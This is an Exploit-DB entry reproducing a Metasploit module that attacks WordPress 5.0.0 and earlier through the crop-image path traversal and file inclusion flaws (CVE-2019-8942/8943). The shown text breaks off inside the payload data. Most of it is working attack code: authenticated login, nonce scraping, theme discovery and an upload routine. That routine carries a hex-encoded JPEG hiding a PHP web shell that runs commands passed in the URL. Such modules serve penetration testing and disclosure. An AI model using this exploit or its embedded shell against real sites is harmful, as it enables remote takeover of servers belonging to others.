Exploit-DB #46662
Description: WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)
Type: remote
Platform: php
Date: 2019-04-05
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Crop-image Shell Upload',
      'Description'     => %q{
          This module exploits a path traversal and a local file inclusion
          vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
          The crop-image function allows a user, with at least author privileges,
          to resize an image and perform a path traversal by changing the _wp_attached_file
          reference during the upload. The second part of the exploit will include
          this image in the current theme by changing the _wp_page_template attribute
          when creating a post.

          This exploit module only works for Unix-based systems currently.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
      [
        'RIPSTECH Technology',                               # Discovery
        'Wilfried Becard <wilfried.becard@synacktiv.com>'    # Metasploit module
      ],
    'References'      =>
      [
        [ 'CVE', '2019-8942' ],
        [ 'CVE', '2019-8943' ],
        [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']
      ],
      'DisclosureDate'  => 'Feb 19 2019',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['WordPress', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
      ])
  end

  def check
    cookie = wordpress_login(username, password)
    if cookie.nil?
      store_valid_credential(user: username, private: password, proof: cookie)
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def get_wpnonce(cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri,
      'cookie' => cookie
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      res.get_hidden_inputs.first["_wpnonce"]
    end
  end

  def get_wpnonce2(image_id, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri,
      'cookie'    => cookie,
      'vars_get'  => {
        'post'   => image_id,
        'action' => "edit"
      }
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      tmp = res.get_hidden_inputs
      wpnonce2 = tmp[1].first[1]
    end
  end

  def get_current_theme
    uri = normalize_uri(datastore['TARGETURI'])
    res = send_request_cgi!(
      'method'    => 'GET',
      'uri'       => uri
    )
    fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?

    theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
    fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme

    theme
  end

  def get_ajaxnonce(cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'cookie' => cookie,
      'vars_post'  => {
        'action' => 'query-attachments',
        'post_id' => '0',
        'query[item]' => '43',
        'query[orderby]' => 'date',
        'query[order]' => 'DESC',
        'query[posts_per_page]' => '40',
        'query[paged]' => '1'
      }
    )
    fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
    a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
    fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce

    a_nonce
  end

  def upload_file(img_name, wp_nonce, cookie)
    img_data = %w[
      FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F
      74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00
      10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00
      3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69
      6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D
      20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09
      08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D
      27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06
      09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
      24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
      24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF
      C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06
      07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01
      02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1
      15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38
      39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73
      74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A